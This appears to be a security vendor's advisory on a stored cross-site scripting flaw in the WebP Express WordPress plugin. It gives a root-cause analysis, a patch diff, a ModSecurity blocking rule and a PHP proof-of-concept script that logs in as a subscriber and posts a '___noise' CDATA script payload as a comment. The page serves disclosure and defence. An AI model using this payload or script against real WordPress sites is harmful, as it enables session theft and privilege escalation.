Published : November 25, 2026

CVE-2026-107626: WebP Express <= 0.25.15 Authenticated (Subscriber+) Stored Cross-Site Scripting via Comment Content PoC, Patch Analysis & Rule

Plugin webp-express
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 0.25.15
Patched Version 0.25.16
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-107626: This is an authenticated stored cross-site scripting vulnerability in the WebP Express WordPress plugin versions up to and including 0.25.15, with a CVSS score of 6.4. The flaw exists in the plugin’s HTML alteration logic used by the “URL replacement” method set to “Alter HTML”. An attacker with subscriber-level access can inject malicious scripts via the comment parameter, which execute when a user views the affected page. Privilege escalation to administrator requires an admin to view the injected page.

The root cause lies in the third-party library rosell-dk/dom-util-for-webp used by WebP Express. The function ImageUrlReplacer::replaceImageUrls() in webp-express/vendor/rosell-dk/dom-util-for-webp/src/ImageUrlReplacer.php parses HTML using simple_html_dom. This parser extracts content from script, style, code, comments, CDATA, and PHP tags, replacing them with placeholders starting with “___noise___”. Later, it restores these placeholders without escaping. If the original HTML contains the marker “___noise” or a partial marker, the restoration logic can be tricked. Specifically, an attacker can craft a comment that causes the parser to restore a body into an attribute value, breaking out of quotes and injecting scripts. The vulnerability is triggered when the plugin processes the comment content through the HTML alteration pipeline.

Atomic Edge research indicates the exploitation requires the following conditions: The WebP Express plugin must be active with "URL replacement" method set to "Alter HTML". An authenticated attacker with subscriber-level access submits a comment containing a payload such as '___noise<![CDATA[alert(1)]]>' or similar. When the plugin processes the page containing the comment via the ImageUrlReplacer, the placeholder mechanism fails to escape the injected script. The malicious script is stored and executes in the browser of any user (including administrators) who views the page. The attack vector is the comment submission form, typically POST to /wp-comments-post.php with the comment parameter.

The patch addresses the vulnerability in two ways. First, in ImageUrlReplacer.php, a check was added at the beginning of the replaceImageUrls() method: if the input HTML contains the substring "___noise" (case-insensitive), the function returns the HTML unmodified. This prevents the placeholder mechanism from being abused. Second, the patch updates the version number and dependency references. Additionally, the diff includes security hardening in other files (AccessCheck.php and Serve.php) but those are unrelated to this CVE. The core fix is the stripos check that blocks processing of HTML containing the noise marker.

The impact of this vulnerability is stored cross-site scripting. An attacker can inject arbitrary JavaScript that executes in the context of the victim's browser. This allows session hijacking, theft of cookies, and performing actions on behalf of the victim. If an administrator views the injected page, the attacker can escalate privileges by creating a new administrator account or modifying plugin settings. The vulnerability requires authentication (subscriber-level) and user interaction (admin viewing the page) for full exploitation, which limits its severity to 6.4. Atomic Edge analysis confirms that the patch effectively mitigates the issue by disabling HTML alteration for pages containing the noise marker.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/webp-express/lib/classes/ConvertHelperIndependent.php
+++ b/webp-express/lib/classes/ConvertHelperIndependent.php
@@ -571,7 +571,7 @@
         $text = preg_replace('#' . preg_quote($_SERVER["DOCUMENT_ROOT"]) . '#', '[doc-root]', $text);

         // TODO: Put version number somewhere else. Ie WebPExpressVersionNumber::version
-        $text = 'WebP Express 0.25.15. ' . $msgTop . ', ' . date("Y-m-d H:i:s") . "nrnr" . $text;
+        $text = 'WebP Express 0.25.16. ' . $msgTop . ', ' . date("Y-m-d H:i:s") . "nrnr" . $text;

         $logFile = self::getLogFilename($source, $logDir);

--- a/webp-express/vendor/composer/installed.php
+++ b/webp-express/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'rosell-dk/webp-express',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '9637ca4242e885f3d44b1382db5409fec8d5919d',
+        'reference' => 'b5aba85e45f5c3a40987de3c96f1cbe43f8e99d5',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -29,9 +29,9 @@
             'dev_requirement' => false,
         ),
         'rosell-dk/dom-util-for-webp' => array(
-            'pretty_version' => '0.7.1',
-            'version' => '0.7.1.0',
-            'reference' => '4f9102e404ee137a781c8580b829a340c5a5d428',
+            'pretty_version' => '0.7.2',
+            'version' => '0.7.2.0',
+            'reference' => 'a69c667eb7a2449e402147586d3863d932f3f660',
             'type' => 'library',
             'install_path' => __DIR__ . '/../rosell-dk/dom-util-for-webp',
             'aliases' => array(),
@@ -112,7 +112,7 @@
         'rosell-dk/webp-express' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '9637ca4242e885f3d44b1382db5409fec8d5919d',
+            'reference' => 'b5aba85e45f5c3a40987de3c96f1cbe43f8e99d5',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/webp-express/vendor/rosell-dk/dom-util-for-webp/src/ImageUrlReplacer.php
+++ b/webp-express/vendor/rosell-dk/dom-util-for-webp/src/ImageUrlReplacer.php
@@ -179,6 +179,23 @@
             return '';
         }

+        // The parser (simple_html_dom) lifts content out of the HTML (script, style, code, comments,
+        // CDATA, PHP tags...) and leaves placeholders starting with "___noise___" in its place. It
+        // restores them later, in text and in attribute values, without escaping, and it keeps
+        // expanding until no marker is left.
+        //
+        // Input that contains the marker, or that ends in the start of it right before something the
+        // parser replaces with a placeholder (ie "___noise<![CDATA[x]]>"), breaks that assumption:
+        // - an attacker can make the parser restore a <code> body into an attribute value, which
+        //   breaks out of the quotes (stored XSS via comments)
+        // - a marker that cannot be resolved makes restore_noise() loop forever (denial of service)
+        //
+        // Real pages never contain "___noise", so leave such HTML untouched rather than risk it.
+        // This check mitigates the vulnerability discovered by Jakub Herman
+        if (stripos($html, '___noise') !== false) {
+            return $html;
+        }
+
         // https://stackoverflow.com/questions/4812691/preserve-line-breaks-simple-html-dom-parser

         // function str_get_html($str, $lowercase=true, $forceTagsClosed=true, $target_charset = DEFAULT_TARGET_CHARSET,
--- a/webp-express/vendor/rosell-dk/webp-convert-cloud-service/src/AccessCheck.php
+++ b/webp-express/vendor/rosell-dk/webp-convert-cloud-service/src/AccessCheck.php
@@ -46,27 +46,53 @@
                 }

                 if (isset($_POST['salt']) && isset($_POST['api-key-crypted'])) {
-                    if (CRYPT_BLOWFISH == 1) {
-                        // Strip off the first 28 characters (the first 6 are always "$2y$10$". The next 22 is the salt)
-                        $cryptedKey = substr(crypt($whitelistItem['api-key'], '$2y$10$' . $_POST['salt'] . '$'), 28);
-                        if ($_POST['api-key-crypted'] == $cryptedKey) {
-                            // Access granted!
-                            return;
-                        }
-                    } else {
-                        // trouble...
-                    }
-                } else {
+                  if (CRYPT_BLOWFISH == 1) {
+                      $salt = $_POST['salt'];
+                      $apiKeyCrypted = $_POST['api-key-crypted'];
+
+                      // Step 1: salt must be exactly 22 bcrypt-alphabet characters
+                      if (!is_string($salt) || !preg_match('/^[./0-9A-Za-z]{22}$/D', $salt)) {
+                          continue;
+                      }
+
+                      // Step 2a: the submitted crypted key must be a non-empty string
+                      if (!is_string($apiKeyCrypted) || $apiKeyCrypted === '') {
+                          continue;
+                      }
+
+                      $fullHash = crypt($whitelistItem['api-key'], '$2y$10$' . $salt . '$');
+
+                      // Step 2b: crypt() must have returned a genuine bcrypt hash.
+                      // (On failure it returns "*0" or "*1")
+                      if (!is_string($fullHash) || strlen($fullHash) !== 60 || strpos($fullHash, '$2y$10$') !== 0) {
+                          continue;
+                      }
+
+                      // Strip off the first 28 characters (7 for "$2y$10$", then the 22-char salt)
+                      $cryptedKey = substr($fullHash, 28);
+                      if (hash_equals($cryptedKey, $apiKeyCrypted)) {
+                          // Access granted!
+                          return;
+                      }
+                  } else {
+                      // crypt_blowfish not available, access cannot be granted
+                      // we fail silently
+                  }
+              } else {
                     $hashingRequired = (
                         isset($whitelistItem['require-api-key-to-be-crypted-in-transfer']) &&
                         $whitelistItem['require-api-key-to-be-crypted-in-transfer']
                     );
                     if (!$hashingRequired && isset($_POST['api-key'])) {
-                        if ($_POST['api-key'] == $whitelistItem['api-key']) {
-                            // Access granted!
-                            return;
-                        }
-                    }
+                      if (
+                          is_string($_POST['api-key']) &&
+                          is_string($whitelistItem['api-key']) &&
+                          hash_equals($whitelistItem['api-key'], $_POST['api-key'])
+                      ) {
+                          // Access granted!
+                          return;
+                      }
+                  }
                 }
             }
         }
--- a/webp-express/vendor/rosell-dk/webp-convert-cloud-service/src/Serve.php
+++ b/webp-express/vendor/rosell-dk/webp-convert-cloud-service/src/Serve.php
@@ -119,16 +119,24 @@
             }

             try {
-                WebPConvert::convert($source, $destination, $convertOptions);
-                header('Content-type: application/octet-stream');
-                echo file_get_contents($destination);
-
-                unlink($source);
-                unlink($destination);
+              WebPConvert::convert($source, $destination, $convertOptions);
+              header('Content-type: application/octet-stream');
+              echo file_get_contents($destination);
             } catch (Exception $e) {
-                echo 'Conversion failed!';
-                echo $e->getMessage();
-            }
+              echo 'Conversion failed!';
+              //echo $e->getMessage();  // disabled, in order to be sure we dont leak server paths. TODO: provide a safe alternative
+            } finally {
+              // Always remove the uploaded file and any partial output,
+              // whether conversion succeeded, failed, or threw something
+              // other than Exception (e.g. a Throwable/Error on PHP 7+).
+              if (file_exists($source)) {
+                  @unlink($source);
+              }
+              if (file_exists($destination)) {
+                  @unlink($destination);
+              }
+          }
+
         } else {
             // Possible file upload attack!
             self::configurationError('Failed to move uploaded file');
--- a/webp-express/webp-express.php
+++ b/webp-express/webp-express.php
@@ -3,7 +3,7 @@
  * Plugin Name: WebP Express
  * Plugin URI: https://github.com/rosell-dk/webp-express
  * Description: Serve autogenerated WebP images instead of jpeg/png to browsers that supports WebP. Works on anything (media library images, galleries, theme images etc).
- * Version: 0.25.15
+ * Version: 0.25.16
  * Author: Bjørn Rosell
  * Author URI: https://www.bitwise-it.dk
  * License: GPL2

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-107626
# Blocks stored XSS via comment parameter when payload contains '___noise' marker used by WebP Express HTML alteration.
SecRule REQUEST_URI "@streq /wp-comments-post.php" 
  "id:20261076,phase:2,deny,status:403,chain,msg:'CVE-2026-107626 WebP Express Stored XSS via Comment',severity:'CRITICAL',tag:'CVE-2026-107626'"
  SecRule ARGS_POST:comment "@contains ___noise" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-107626 - WebP Express <= 0.25.15 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Comment Content

$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'subscriber';         // Subscriber-level username
$password = 'password';           // Subscriber-level password
$post_id = 1;                     // ID of a post where comments are enabled

// Initialize cURL
$ch = curl_init();

// Step 1: Log in as subscriber to obtain cookies
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

if (curl_errno($ch)) {
    die('Login failed: ' . curl_error($ch));
}

// Step 2: Submit a comment with the XSS payload
$comment_url = $target_url . '/wp-comments-post.php';
$payload = '___noise<![CDATA[<script>alert("XSS via CVE-2026-107626");</script>]]>';
$comment_data = [
    'comment' => $payload,
    'comment_post_ID' => $post_id,
    'comment_parent' => '0',
    'author' => 'Attacker',
    'email' => 'attacker@example.com',
    'url' => ''
];

curl_setopt($ch, CURLOPT_URL, $comment_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

if (curl_errno($ch)) {
    die('Comment submission failed: ' . curl_error($ch));
}

echo "Comment submitted with payload. The XSS will execute when the page is viewed by an admin.n";

// Clean up
curl_close($ch);
unlink('cookies.txt');

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.